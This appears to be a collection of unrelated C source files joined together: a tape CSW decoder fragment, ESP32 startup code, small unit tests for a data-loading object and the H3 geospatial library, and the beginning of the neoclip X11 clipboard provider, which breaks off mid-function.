util_bail("CSW uncompress too large"); } p_in_buf = p_uncompress_buf; data_len = uncompress_len; } samples = 0; is_silence = 1; is_carrier = 0; ticks = 0; carrier_count = 0; bit_index = 0; data_one_bits_count = 0; byte_wave_start = 0; byte_sample_start = 0; i_waves = 0; while (i_waves < data_len) { int bit; uint32_t consumed_bytes; uint32_t consumed_samples; uint32_t half_wave_bytes; uint32_t half_wave; uint32_t half_wave2; uint32_t half_wave3; uint32_t half_wave4; struct tape_csw_thresholds* p_thres = &thres_normal; if (is_carrier) { p_thres = &thres_carrier; } tape_csw_get_next_bit(&bit, &consumed_bytes, &consumed_samples, &half_wave_bytes, &half_wave, &half_wave2, &half_wave3, &half_wave4, p_thres, (p_in_buf + i_waves), (data_len - i_waves)); /* Run a little state machine that bounces between silence, carrier and * data. It's important to track when we're in carrier because the carrier * signal often doesn't last for an exact number of bits widths. */ if (is_silence) { if (bit == k_tape_bit_1) { /* Transition, silence to carrier. */ uint32_t num_bits = (ticks / (sample_rate / 1200.0)); /* Make sure silence is always seen even if we rounded down. */ num_bits++; tape_add_bits(p_tape, k_tape_bit_silence, num_bits); is_silence = 0; is_carrier = 1; carrier_count = 4; } else { /* Still silence. */ ticks += consumed_samples; } } else if (is_carrier) { if (bit == k_tape_bit_0) { /* Transition, carrier to data. We've found the start bit. */ tape_add_bits(p_tape, k_tape_bit_1, ((carrier_count + 3) / 4)); is_carrier = 0; tape_add_bit(p_tape, k_tape_bit_0); bit_index = 1; byte_wave_start = i_waves; byte_sample_start = samples; data_one_bits_count = 0; } else if (tape_csw_is_half_2400(half_wave, thres_lo_half_2400, thres_hi_half_2400)) { /* Still carrier. */ carrier_count++; consumed_bytes = half_wave_bytes; consumed_samples = half_wave; } else { /* Transition, carrier to silence. */ tape_add_bits(p_tape, k_tape_bit_1, ((carrier_count + 3) / 4)); is_carrier = 0; is_silence = 1; ticks = consumed_samples; } } else { /* In data. */ if (bit != k_tape_bit_silence) { tape_add_bit(p_tape, bit); if (bit == k_tape_bit_0) { data_one_bits_count = 0; } else { data_one_bits_count++; if (data_one_bits_count == 10) { /* Transition, data to carrier. */ is_carrier = 1; carrier_count = 0; } } if (bit_index == 0) { byte_wave_start = i_waves; byte_sample_start = samples; bit_index = 1; } else if (bit_index == 9) { if (do_check_bits && (bit != k_tape_bit_1)) { log_do_log(k_log_tape, k_log_info, "CSW bad stop bit" ", byte start %"PRIu32 ", sample %"PRIu32, (byte_wave_start + 0x34), byte_sample_start); } bit_index = 0; } else { bit_index++; } } else { /* Transition, data to silence. This sometimes indicates a wobble in * the CSW that would lead to a load failure. */ log_do_log(k_log_tape, k_log_info, "CSW data to silence" ", byte %"PRIu32 ", sample %"PRIu32 " (%d %d %d %d)", (i_waves + 0x34), samples, half_wave, half_wave2, half_wave3, half_wave4); is_silence = 1; ticks = consumed_samples; } } samples += consumed_samples; i_waves += consumed_bytes; } util_free(p_uncompress_buf); }
841614.c
// Copyright 2015-2018 Espressif Systems (Shanghai) PTE LTD // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. #include <stdint.h> #include <string.h> #include "esp_attr.h" #include "esp_err.h" #include "rom/ets_sys.h" #include "rom/uart.h" #include "rom/rtc.h" #include "rom/cache.h" #include "soc/cpu.h" #include "soc/rtc.h" #include "soc/dport_reg.h" #include "soc/io_mux_reg.h" #include "soc/rtc_cntl_reg.h" #include "soc/timer_group_reg.h" #include "soc/rtc_wdt.h" #include "soc/efuse_reg.h" #include "driver/rtc_io.h" #include "freertos/FreeRTOS.h" #include "freertos/task.h" #include "freertos/semphr.h" #include "freertos/queue.h" #include "freertos/portmacro.h" #include "esp_heap_caps_init.h" #include "sdkconfig.h" #include "esp_system.h" #include "esp_spi_flash.h" #include "nvs_flash.h" #include "esp_event.h" #include "esp_spi_flash.h" #include "esp_ipc.h" #include "esp_crosscore_int.h" #include "esp_dport_access.h" #include "esp_log.h" #include "esp_vfs_dev.h" #include "esp_newlib.h" #include "esp_brownout.h" #include "esp_int_wdt.h" #include "esp_task.h" #include "esp_task_wdt.h" #include "esp_phy_init.h" #include "esp_cache_err_int.h" #include "esp_coexist.h" #include "esp_panic.h" #include "esp_core_dump.h" #include "esp_app_trace.h" #include "esp_dbg_stubs.h" #include "esp_efuse.h" #include "esp_spiram.h" #include "esp_clk_internal.h" #include "esp_timer.h" #include "esp_pm.h" #include "pm_impl.h" #include "trax.h" #define STRINGIFY(s) STRINGIFY2(s) #define STRINGIFY2(s) #s void start_cpu0(void) __attribute__((weak, alias("start_cpu0_default"))) __attribute__((noreturn)); void start_cpu0_default(void) IRAM_ATTR __attribute__((noreturn)); #if !CONFIG_FREERTOS_UNICORE static void IRAM_ATTR call_start_cpu1() __attribute__((noreturn)); void start_cpu1(void) __attribute__((weak, alias("start_cpu1_default"))) __attribute__((noreturn)); void start_cpu1_default(void) IRAM_ATTR __attribute__((noreturn)); static bool app_cpu_started = false; #endif //!CONFIG_FREERTOS_UNICORE static void do_global_ctors(void); static void main_task(void* args); extern void app_main(void); extern esp_err_t esp_pthread_init(void); extern int _bss_start; extern int _bss_end; extern int _rtc_bss_start; extern int _rtc_bss_end; #if CONFIG_SPIRAM_ALLOW_BSS_SEG_EXTERNAL_MEMORY extern int _ext_ram_bss_start; extern int _ext_ram_bss_end; #endif extern int _init_start; extern void (*__init_array_start)(void); extern void (*__init_array_end)(void); extern volatile int port_xSchedulerRunning[2]; static const char* TAG = "cpu_start"; struct object { long placeholder[ 10 ]; }; void __register_frame_info (const void *begin, struct object *ob); extern char __eh_frame[]; //If CONFIG_SPIRAM_IGNORE_NOTFOUND is set and external RAM is not found or errors out on testing, this is set to false. static bool s_spiram_okay=true; /* * We arrive here after the bootloader finished loading the program from flash. The hardware is mostly uninitialized, * and the app CPU is in reset. We do have a stack, so we can do the initialization in C. */ void IRAM_ATTR call_start_cpu0() { #if CONFIG_FREERTOS_UNICORE RESET_REASON rst_reas[1]; #else RESET_REASON rst_reas[2]; #endif cpu_configure_region_protection(); //Move exception vectors to IRAM asm volatile (\ "wsr %0, vecbase\n" \ ::"r"(&_init_start)); rst_reas[0] = rtc_get_reset_reason(0); #if !CONFIG_FREERTOS_UNICORE rst_reas[1] = rtc_get_reset_reason(1); #endif // from panic handler we can be reset by RWDT or TG0WDT if (rst_reas[0] == RTCWDT_SYS_RESET || rst_reas[0] == TG0WDT_SYS_RESET #if !CONFIG_FREERTOS_UNICORE || rst_reas[1] == RTCWDT_SYS_RESET || rst_reas[1] == TG0WDT_SYS_RESET #endif ) { #ifndef CONFIG_BOOTLOADER_WDT_ENABLE rtc_wdt_disable(); #endif } //Clear BSS. Please do not attempt to do any complex stuff (like early logging) before this. memset(&_bss_start, 0, (&_bss_end - &_bss_start) * sizeof(_bss_start)); /* Unless waking from deep sleep (implying RTC memory is intact), clear RTC bss */ if (rst_reas[0] != DEEPSLEEP_RESET) { memset(&_rtc_bss_start, 0, (&_rtc_bss_end - &_rtc_bss_start) * sizeof(_rtc_bss_start)); } #if CONFIG_SPIRAM_BOOT_INIT esp_spiram_init_cache(); if (esp_spiram_init() != ESP_OK) { #if CONFIG_SPIRAM_ALLOW_BSS_SEG_EXTERNAL_MEMORY ESP_EARLY_LOGE(TAG, "Failed to init external RAM, needed for external .bss segment"); abort(); #endif #if CONFIG_SPIRAM_IGNORE_NOTFOUND ESP_EARLY_LOGI(TAG, "Failed to init external RAM; continuing without it."); s_spiram_okay = false; #else ESP_EARLY_LOGE(TAG, "Failed to init external RAM!"); abort(); #endif } #endif ESP_EARLY_LOGI(TAG, "Pro cpu up."); #if !CONFIG_FREERTOS_UNICORE if (REG_GET_BIT(EFUSE_BLK0_RDATA3_REG, EFUSE_RD_CHIP_VER_DIS_APP_CPU)) { ESP_EARLY_LOGE(TAG, "Running on single core chip, but application is built with dual core support."); ESP_EARLY_LOGE(TAG, "Please enable CONFIG_FREERTOS_UNICORE option in menuconfig."); abort(); } ESP_EARLY_LOGI(TAG, "Starting app cpu, entry point is %p", call_start_cpu1); //Flush and enable icache for APP CPU Cache_Flush(1); Cache_Read_Enable(1); esp_cpu_unstall(1); // Enable clock and reset APP CPU. Note that OpenOCD may have already // enabled clock and taken APP CPU out of reset. In this case don't reset // APP CPU again, as that will clear the breakpoints which may have already // been set. if (!DPORT_GET_PERI_REG_MASK(DPORT_APPCPU_CTRL_B_REG, DPORT_APPCPU_CLKGATE_EN)) { DPORT_SET_PERI_REG_MASK(DPORT_APPCPU_CTRL_B_REG, DPORT_APPCPU_CLKGATE_EN); DPORT_CLEAR_PERI_REG_MASK(DPORT_APPCPU_CTRL_C_REG, DPORT_APPCPU_RUNSTALL); DPORT_SET_PERI_REG_MASK(DPORT_APPCPU_CTRL_A_REG, DPORT_APPCPU_RESETTING); DPORT_CLEAR_PERI_REG_MASK(DPORT_APPCPU_CTRL_A_REG, DPORT_APPCPU_RESETTING); } ets_set_appcpu_boot_addr((uint32_t)call_start_cpu1); while (!app_cpu_started) { ets_delay_us(100); } #else ESP_EARLY_LOGI(TAG, "Single core mode"); DPORT_CLEAR_PERI_REG_MASK(DPORT_APPCPU_CTRL_B_REG, DPORT_APPCPU_CLKGATE_EN); #endif #if CONFIG_SPIRAM_MEMTEST if (s_spiram_okay) { bool ext_ram_ok=esp_spiram_test(); if (!ext_ram_ok) { ESP_EARLY_LOGE(TAG, "External RAM failed memory test!"); abort(); } } #endif #if CONFIG_SPIRAM_ALLOW_BSS_SEG_EXTERNAL_MEMORY memset(&_ext_ram_bss_start, 0, (&_ext_ram_bss_end - &_ext_ram_bss_start) * sizeof(_ext_ram_bss_start)); #endif /* Initialize heap allocator. WARNING: This *needs* to happen *after* the app cpu has booted. If the heap allocator is initialized first, it will put free memory linked list items into memory also used by the ROM. Starting the app cpu will let its ROM initialize that memory, corrupting those linked lists. Initializing the allocator *after* the app cpu has booted works around this problem. With SPI RAM enabled, there's a second reason: half of the SPI RAM will be managed by the app CPU, and when that is not up yet, the memory will be inaccessible and heap_caps_init may fail initializing it properly. */ heap_caps_init(); ESP_EARLY_LOGI(TAG, "Pro cpu start user code"); start_cpu0(); } #if !CONFIG_FREERTOS_UNICORE static void wdt_reset_cpu1_info_enable(void) { DPORT_REG_SET_BIT(DPORT_APP_CPU_RECORD_CTRL_REG, DPORT_APP_CPU_PDEBUG_ENABLE | DPORT_APP_CPU_RECORD_ENABLE); DPORT_REG_CLR_BIT(DPORT_APP_CPU_RECORD_CTRL_REG, DPORT_APP_CPU_RECORD_ENABLE); } void IRAM_ATTR call_start_cpu1() { asm volatile (\ "wsr %0, vecbase\n" \ ::"r"(&_init_start)); ets_set_appcpu_boot_addr(0); cpu_configure_region_protection(); #if CONFIG_CONSOLE_UART_NONE ets_install_putc1(NULL); ets_install_putc2(NULL); #else // CONFIG_CONSOLE_UART_NONE uartAttach(); ets_install_uart_printf(); uart_tx_switch(CONFIG_CONSOLE_UART_NUM); #endif wdt_reset_cpu1_info_enable(); ESP_EARLY_LOGI(TAG, "App cpu up."); app_cpu_started = 1; start_cpu1(); } #endif //!CONFIG_FREERTOS_UNICORE static void intr_matrix_clear(void) { //Clear all the interrupt matrix register for (int i = ETS_WIFI_MAC_INTR_SOURCE; i <= ETS_CACHE_IA_INTR_SOURCE; i++) { intr_matrix_set(0, i, ETS_INVALID_INUM); #if !CONFIG_FREERTOS_UNICORE intr_matrix_set(1, i, ETS_INVALID_INUM); #endif } } void start_cpu0_default(void) { esp_err_t err; esp_setup_syscall_table(); if (s_spiram_okay) { #if CONFIG_SPIRAM_BOOT_INIT && (CONFIG_SPIRAM_USE_CAPS_ALLOC || CONFIG_SPIRAM_USE_MALLOC) esp_err_t r=esp_spiram_add_to_heapalloc(); if (r != ESP_OK) { ESP_EARLY_LOGE(TAG, "External RAM could not be added to heap!"); abort(); } #if CONFIG_SPIRAM_USE_MALLOC heap_caps_malloc_extmem_enable(CONFIG_SPIRAM_MALLOC_ALWAYSINTERNAL); #endif #endif } //Enable trace memory and immediately start trace. #if CONFIG_ESP32_TRAX #if CONFIG_ESP32_TRAX_TWOBANKS trax_enable(TRAX_ENA_PRO_APP); #else trax_enable(TRAX_ENA_PRO); #endif trax_start_trace(TRAX_DOWNCOUNT_WORDS); #endif esp_clk_init(); esp_perip_clk_init(); intr_matrix_clear(); #ifndef CONFIG_CONSOLE_UART_NONE #ifdef CONFIG_PM_ENABLE const int uart_clk_freq = REF_CLK_FREQ; /* When DFS is enabled, use REFTICK as UART clock source */ CLEAR_PERI_REG_MASK(UART_CONF0_REG(CONFIG_CONSOLE_UART_NUM), UART_TICK_REF_ALWAYS_ON); #else const int uart_clk_freq = APB_CLK_FREQ; #endif // CONFIG_PM_DFS_ENABLE uart_div_modify(CONFIG_CONSOLE_UART_NUM, (uart_clk_freq << 4) / CONFIG_CONSOLE_UART_BAUDRATE); #endif // CONFIG_CONSOLE_UART_NONE #if CONFIG_BROWNOUT_DET esp_brownout_init(); #endif #if CONFIG_DISABLE_BASIC_ROM_CONSOLE esp_efuse_disable_basic_rom_console(); #endif rtc_gpio_force_hold_dis_all(); esp_vfs_dev_uart_register(); esp_reent_init(_GLOBAL_REENT); #ifndef CONFIG_CONSOLE_UART_NONE const char* default_uart_dev = "/dev/uart/" STRINGIFY(CONFIG_CONSOLE_UART_NUM); _GLOBAL_REENT->_stdin = fopen(default_uart_dev, "r"); _GLOBAL_REENT->_stdout = fopen(default_uart_dev, "w"); _GLOBAL_REENT->_stderr = fopen(default_uart_dev, "w"); #else _GLOBAL_REENT->_stdin = (FILE*) &__sf_fake_stdin; _GLOBAL_REENT->_stdout = (FILE*) &__sf_fake_stdout; _GLOBAL_REENT->_stderr = (FILE*) &__sf_fake_stderr; #endif esp_timer_init(); esp_set_time_from_rtc(); #if CONFIG_ESP32_APPTRACE_ENABLE err = esp_apptrace_init(); assert(err == ESP_OK && "Failed to init apptrace module on PRO CPU!"); #endif #if CONFIG_SYSVIEW_ENABLE SEGGER_SYSVIEW_Conf(); #endif #if CONFIG_ESP32_DEBUG_STUBS_ENABLE esp_dbg_stubs_init(); #endif err = esp_pthread_init(); assert(err == ESP_OK && "Failed to init pthread module!"); do_global_ctors(); #if CONFIG_INT_WDT esp_int_wdt_init(); //Initialize the interrupt watch dog for CPU0. esp_int_wdt_cpu_init(); #endif esp_cache_err_int_init(); esp_crosscore_int_init(); esp_ipc_init(); #ifndef CONFIG_FREERTOS_UNICORE esp_dport_access_int_init(); #endif spi_flash_init(); /* init default OS-aware flash access critical section */ spi_flash_guard_set(&g_flash_guard_default_ops); #ifdef CONFIG_PM_ENABLE esp_pm_impl_init(); #ifdef CONFIG_PM_DFS_INIT_AUTO rtc_cpu_freq_t max_freq; rtc_clk_cpu_freq_from_mhz(CONFIG_ESP32_DEFAULT_CPU_FREQ_MHZ, &max_freq); esp_pm_config_esp32_t cfg = { .max_cpu_freq = max_freq, .min_cpu_freq = RTC_CPU_FREQ_XTAL }; esp_pm_configure(&cfg); #endif //CONFIG_PM_DFS_INIT_AUTO #endif //CONFIG_PM_ENABLE #if CONFIG_ESP32_ENABLE_COREDUMP esp_core_dump_init(); #endif portBASE_TYPE res = xTaskCreatePinnedToCore(&main_task, "main", ESP_TASK_MAIN_STACK, NULL, ESP_TASK_MAIN_PRIO, NULL, 0); assert(res == pdTRUE); ESP_LOGI(TAG, "Starting scheduler on PRO CPU."); vTaskStartScheduler(); abort(); /* Only get to here if not enough free heap to start scheduler */ } #if !CONFIG_FREERTOS_UNICORE void start_cpu1_default(void) { // Wait for FreeRTOS initialization to finish on PRO CPU while (port_xSchedulerRunning[0] == 0) { ; } #if CONFIG_ESP32_TRAX_TWOBANKS trax_start_trace(TRAX_DOWNCOUNT_WORDS); #endif #if CONFIG_ESP32_APPTRACE_ENABLE esp_err_t err = esp_apptrace_init(); assert(err == ESP_OK && "Failed to init apptrace module on APP CPU!"); #endif #if CONFIG_INT_WDT //Initialize the interrupt watch dog for CPU1. esp_int_wdt_cpu_init(); #endif //Take care putting stuff here: if asked, FreeRTOS will happily tell you the scheduler //has started, but it isn't active *on this CPU* yet. esp_cache_err_int_init(); esp_crosscore_int_init(); esp_dport_access_int_init(); ESP_EARLY_LOGI(TAG, "Starting scheduler on APP CPU."); xPortStartScheduler(); abort(); /* Only get to here if FreeRTOS somehow very broken */ } #endif //!CONFIG_FREERTOS_UNICORE #ifdef CONFIG_CXX_EXCEPTIONS size_t __cxx_eh_arena_size_get() { return CONFIG_CXX_EXCEPTIONS_EMG_POOL_SIZE; } #endif static void do_global_ctors(void) { #ifdef CONFIG_CXX_EXCEPTIONS static struct object ob; __register_frame_info( __eh_frame, &ob ); #endif void (**p)(void); for (p = &__init_array_end - 1; p >= &__init_array_start; --p) { (*p)(); } } static void main_task(void* args) { #if !CONFIG_FREERTOS_UNICORE // Wait for FreeRTOS initialization to finish on APP CPU, before replacing its startup stack while (port_xSchedulerRunning[1] == 0) { ; } #endif //Enable allocation in region where the startup stacks were located. heap_caps_enable_nonos_stack_heaps(); // Now we have startup stack RAM available for heap, enable any DMA pool memory #if CONFIG_SPIRAM_MALLOC_RESERVE_INTERNAL esp_err_t r = esp_spiram_reserve_dma_pool(CONFIG_SPIRAM_MALLOC_RESERVE_INTERNAL); if (r != ESP_OK) { ESP_EARLY_LOGE(TAG, "Could not reserve internal/DMA pool (error 0x%x)", r); abort(); } #endif //Initialize task wdt if configured to do so #ifdef CONFIG_TASK_WDT_PANIC ESP_ERROR_CHECK(esp_task_wdt_init(CONFIG_TASK_WDT_TIMEOUT_S, true)); #elif CONFIG_TASK_WDT ESP_ERROR_CHECK(esp_task_wdt_init(CONFIG_TASK_WDT_TIMEOUT_S, false)); #endif //Add IDLE 0 to task wdt #ifdef CONFIG_TASK_WDT_CHECK_IDLE_TASK_CPU0 TaskHandle_t idle_0 = xTaskGetIdleTaskHandleForCPU(0); if(idle_0 != NULL){ ESP_ERROR_CHECK(esp_task_wdt_add(idle_0)); } #endif //Add IDLE 1 to task wdt #ifdef CONFIG_TASK_WDT_CHECK_IDLE_TASK_CPU1 TaskHandle_t idle_1 = xTaskGetIdleTaskHandleForCPU(1); if(idle_1 != NULL){ ESP_ERROR_CHECK(esp_task_wdt_add(idle_1)); } #endif // Now that the application is about to start, disable boot watchdog #ifndef CONFIG_BOOTLOADER_WDT_DISABLE_IN_USER_CODE rtc_wdt_disable(); #endif app_main(); vTaskDelete(NULL); }
866152.c
/* * This file implements testing of the fromfile object's memory management */ #include <stdlib.h> #include "../../objects.h" #include "fromfile.h" /* * Test the function which constructs a fromfile object * * Returns * ======= * 1 on success, 0 on failure * * header: fromfile.h */ extern unsigned short test_fromfile_initialize(void) { FROMFILE *test = fromfile_initialize(); unsigned short result = (test != NULL && (*test).name != NULL && (*test).n_rows == 0ul && (*test).n_cols == 0u && (*test).labels == NULL && (*test).data == NULL ); fromfile_free(test); return result; } /* * Test the function which frees the memory stored by a fromfile object * * Returns * ======= * 1 on success, 0 on failure * * header: fromfile.h */ extern unsigned short test_fromfile_free(void) { /* The destructor function should not modify the address */ FROMFILE *test = fromfile_initialize(); void *initial_address = (void *) test; fromfile_free(test); void *final_address = (void *) test; return initial_address == final_address; }
414387.c
/* * Copyright 2017-2018 Uber Technologies, Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #include <stdlib.h> #include "algos.h" #include "test.h" SUITE(hexRanges) { GeoCoord sf = {0.659966917655, 2 * 3.14159 - 2.1364398519396}; H3Index sfHex = H3_EXPORT(geoToH3)(&sf, 9); H3Index* sfHexPtr = &sfHex; H3Index k1[] = {0x89283080ddbffff, 0x89283080c37ffff, 0x89283080c27ffff, 0x89283080d53ffff, 0x89283080dcfffff, 0x89283080dc3ffff}; H3Index withPentagon[] = {0x8029fffffffffff, 0x801dfffffffffff}; TEST(identityKRing) { int err; H3Index k0[] = {0}; err = H3_EXPORT(hexRanges)(sfHexPtr, 1, 0, k0); t_assert(err == 0, "No error on hexRanges"); t_assert(k0[0] == sfHex, "generated identity k-ring"); } TEST(ring1of1) { int err; H3Index allKrings[] = {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}; err = H3_EXPORT(hexRanges)(k1, 6, 1, allKrings); t_assert(err == 0, "No error on hexRanges"); for (int i = 0; i < 42; i++) { t_assert(allKrings[i] != 0, "index is populated"); if (i % 7 == 0) { int index = i / 7; t_assert(k1[index] == allKrings[i], "The beginning of the segment is the correct hexagon"); } } } TEST(ring2of1) { int err; H3Index* allKrings2 = calloc(6 * (1 + 6 + 12), sizeof(H3Index)); err = H3_EXPORT(hexRanges)(k1, 6, 2, allKrings2); t_assert(err == 0, "No error on hexRanges"); for (int i = 0; i < (6 * (1 + 6 + 12)); i++) { t_assert(allKrings2[i] != 0, "index is populated"); if (i % (1 + 6 + 12) == 0) { int index = i / (1 + 6 + 12); t_assert(k1[index] == allKrings2[i], "The beginning of the segment is the correct hexagon"); } } free(allKrings2); } TEST(failed) { int err; H3Index* allKrings = calloc(2 * (1 + 6), sizeof(H3Index)); err = H3_EXPORT(hexRanges)(withPentagon, 2, 1, allKrings); t_assert(err != 0, "Expected error on hexRanges"); free(allKrings); } }
115852.c
/* * neoclip - Neovim clipboard provider * Last Change: 2021 Jul 11 * License: https://unlicense.org * URL: https://github.com/matveyt/neoclip */ #include "neoclip_nix.h" #include <limits.h> #include <pthread.h> #include <stdlib.h> #include <string.h> #include <X11/Xlib.h> #include <X11/Xutil.h> // context structure typedef struct { Display* d; // X Display Window w; // X Window Time delta; // msec between X server startup and Unix epoch Atom atom[total]; // X Atoms unsigned char* data[2]; // Selection: _VIMENC_TEXT size_t cb[2]; // Selection: text size only Time stamp[2]; // Selection: time stamp pthread_cond_t c_rdy[2]; // Selection: "ready" condition int f_rdy[2]; // Selection: "ready" flag pthread_mutex_t lock; // Mutex lock pthread_t tid; // Thread ID } neo_X; // forward prototypes static void* thread_main(void* X); static Bool on_sel_notify(neo_X* x, XSelectionEvent* xse); static Bool on_sel_request(neo_X* x, XSelectionRequestEvent* xsre); static Bool on_client_message(neo_X* x, XClientMessageEvent* xcme); static void alloc_data(neo_X* x, int ix_sel, size_t cb); static Atom best_target(neo_X* x, Atom* atom, int count); static void client_message(neo_X* x, int message, int param); static Bool is_incr_notify(Display* d, XEvent* xe, XPointer arg); static Time time_stamp(Time ref); static void to_multiple(neo_X* x, int ix_sel, XSelectionEvent* xse); static void to_property(neo_X* x, int ix_sel, Window w, Atom property, Atom type); // init context and start thread void* neo_create(void) { // try to open display first Display* d = XOpenDisplay(NULL); if (d == NULL) return NULL; // atom names static /*const*/ char* atom_name[total] = { [prim] = "PRIMARY", [clip] = "CLIPBOARD", [atom] = "ATOM", [atom_pair] = "ATOM_PAIR", [clipman] = "CLIPBOARD_MANAGER", [incr] = "INCR", [integer] = "INTEGER", [null] = "NULL", [wm_proto] = "WM_PROTOCOLS", [wm_dele] = "WM_DELETE_WINDOW", [neo_ready] = "NEO_READY", [neo_offer] = "NEO_OFFER", [targets] = "TARGETS", [dele] = "DELETE", [multi] = "MULTIPLE", [save] = "SAVE_TARGETS", [timestamp] = "TIMESTAMP", [vimenc] = "_VIMENC_TEXT", [vimtext] = "_VIM_TEXT", [plain_utf8] = "text/plain;charset=utf-8", [utf8] = "UTF8_STRING", [plain] = "text/plain", [compound] = "COMPOUND_TEXT", [string] = "STRING", [text] = "TEXT", }; // context neo_X* x = calloc(1, sizeof(neo_X)); x->d = d; x->w = XCreateSimpleWindow(d, DefaultRootWindow(d), 0, 0, 1, 1, 0, 0, 0); XInternAtoms(d, atom_name, total, 0, x->atom); XSetWMProtocols(d, x->w, &x->atom[wm_dele], 1); pthread_cond_init(&x->c_rdy[0], NULL); pthread_cond_init(&x->c_rdy[1], NULL); pthread_mutex_init(&x->lock, NULL); pthread_create(&x->tid, NULL, thread_main, x); return x; } // destroy context void neo_kill(void* X) { if (X != NULL) { neo_X* x = (neo_X*)X; client_message(x, wm_proto, wm_dele); pthread_join(x->tid, NULL); pthread_mutex_destroy(&x->lock); pthread_cond_destroy(&x->c_rdy[0]); pthread_cond_destroy(&x->c_rdy[1]); free(x->data[0]); free(x->data[1]); XDestroyWindow(x->d, x->w); XCloseDisplay(x->d); free(x); } } // lock or unlock selection data int neo_lock(void* X, int lock) { neo_X* x = (neo_X*)X; return lock ? pthread_mutex_lock(&x->lock) : pthread_mutex_unlock(&x->lock); } // fetch new selection // note: caller must unlock unless NULL is returned const void* neo_fetch(void* X, int sel, size_t* pcb, int* ptype) { if (!neo_lock(X, 1)) { neo_X* x = (neo_X*)X; int ix_sel = (sel == prim) ? 0 : 1; // send request x->f_rdy[ix_sel] = 0; client_message(x, neo_ready, sel); // wait upto 1 second struct timespec t = { 0, 0 }; clock_gettime(CLOCK_REALTIME, &t); ++t.tv_sec; while (!x->f_rdy[ix_sel] && !pthread_cond_timedwait(&x->c_rdy[ix_sel], &x->lock, &t)) /*nothing*/; // success if (x->f_rdy[ix_sel] && x->cb[ix_sel] > 0) { *pcb = x->cb[ix_sel]; *ptype = x->data[ix_sel][0]; return (x->data[ix_sel] + 1 + sizeof("utf-8")); } // unlock on error or clipboard is empty neo_lock(X, 0); } return NULL; } // own new selection // cb = 0 -- empty selection, type < 0 -- keep old selection void neo_own(void* X, int offer, int sel, const void* ptr, size_t cb, int type) { if (!neo_lock(X, 1)) { neo_X* x = (neo_X*)X; int ix_sel = (sel == prim) ? 0 : 1; // set new data if (type >= 0) { // _VIMENC_TEXT: motion 'encoding' NUL text alloc_data(x, ix_sel, cb); if (cb) { x->data[ix_sel][0] = type; memcpy(x->data[ix_sel] + 1, "utf-8", sizeof("utf-8")); memcpy(x->data[ix_sel] + 1 + sizeof("utf-8"), ptr, cb); } x->stamp[ix_sel] = time_stamp(x->delta); } if (offer) { client_message(x, neo_offer, sel); } else { // signal data ready x->f_rdy[ix_sel] = 1; pthread_cond_signal(&x->c_rdy[ix_sel]); } neo_lock(X, 0); } } // thread entry point static void* thread_main(void* X) { neo_X* x = (neo_X*)X; XSelectInput(x->d, x->w, PropertyChangeMask); // force property change to get timestamp from X server XChangeProperty(x->d, x->w, x->atom[timestamp], x->atom[timestamp], 32, PropModeAppend, NULL, 0); Bool ok = True; do { XEvent xe; XNextEvent(x->d, &xe); switch (xe.type) { case PropertyNotify: if (xe.xproperty.atom == x->atom[timestamp]) x->delta = time_stamp(xe.xproperty.time); break; case SelectionNotify: ok = on_sel_notify(x, &xe.xselection); break; case SelectionRequest: ok = on_sel_request(x, &xe.xselectionrequest); break; case ClientMessage: ok = on_client_message(x, &xe.xclient); break; } } while (ok); return NULL; } // SelectionNotify event handler static Bool on_sel_notify(neo_X* x, XSelectionEvent* xse) { int sel = (xse->selection == x->atom[prim]) ? prim : clip; if (xse->property == x->atom[neo_ready]) { // read our property Atom type = None; unsigned char* ptr = NULL; unsigned char* xptr = NULL; unsigned long cxptr = 0; XGetWindowProperty(x->d, x->w, x->atom[neo_ready], 0, LONG_MAX, True, AnyPropertyType, &type, &(int){0}, &cxptr, &(unsigned long){0}, &xptr); do { unsigned char* buf = xptr; size_t cb = cxptr; if (type == x->atom[incr]) { // INCR for (cb = 0; ; cb += cxptr) { XFree(xptr); XIfEvent(x->d, &(XEvent){0}, is_incr_notify, (XPointer)xse); XGetWindowProperty(x->d, x->w, x->atom[neo_ready], 0, LONG_MAX, True, AnyPropertyType, &(Atom){None}, &(int){0}, &cxptr, &(unsigned long){0}, &xptr); if (!cxptr) break; ptr = realloc(ptr, cb + cxptr); memcpy(ptr + cb, xptr, cxptr); } type = xse->target; buf = ptr; } if (!cb) { // nothing to do } else if (type == x->atom[atom] || type == x->atom[targets]) { // TARGETS Atom target = best_target(x, (Atom*)buf, (int)cb); if (target != None) { XConvertSelection(x->d, xse->selection, target, x->atom[neo_ready], x->w, xse->time); break; } } else if (type == x->atom[vimenc]) { // _VIMENC_TEXT if (cb >= 1 + sizeof("utf-8") && !memcmp(buf + 1, "utf-8", sizeof("utf-8"))) { // this is UTF-8, hurray! neo_own(x, 0, sel, buf + 1 + sizeof("utf-8"), cb - 1 - sizeof("utf-8"), buf[0]); } else { // no UTF-8, sigh... ask for UTF8_STRING then XConvertSelection(x->d, xse->selection, x->atom[utf8], x->atom[neo_ready], x->w, xse->time); } break; } else if (type == x->atom[vimtext]) { // _VIM_TEXT: assume UTF-8 neo_own(x, 0, sel, buf + 1, cb - 1, buf[0]); break; } else if (type == x->atom[plain_utf8] || type == x->atom[utf8] || type == x->atom[plain]) { // no conversion neo_own(x, 0, sel, buf, cb, 255); break; } else if (type == x->atom[compound] || type == x->atom[string] || type == x->atom[text]) { // COMPOUND_TEXT, STRING or TEXT: attempt to convert to UTF-8 XTextProperty xtp = { .value = buf, .encoding = type, .format = 8, .nitems = cb }; char** list; if (Xutf8TextPropertyToTextList(x->d, &xtp, &list, &(int){0}) == Success) { neo_own(x, 0, sel, list[0], strlen(list[0]), 255); XFreeStringList(list); break; } } // conversion failed 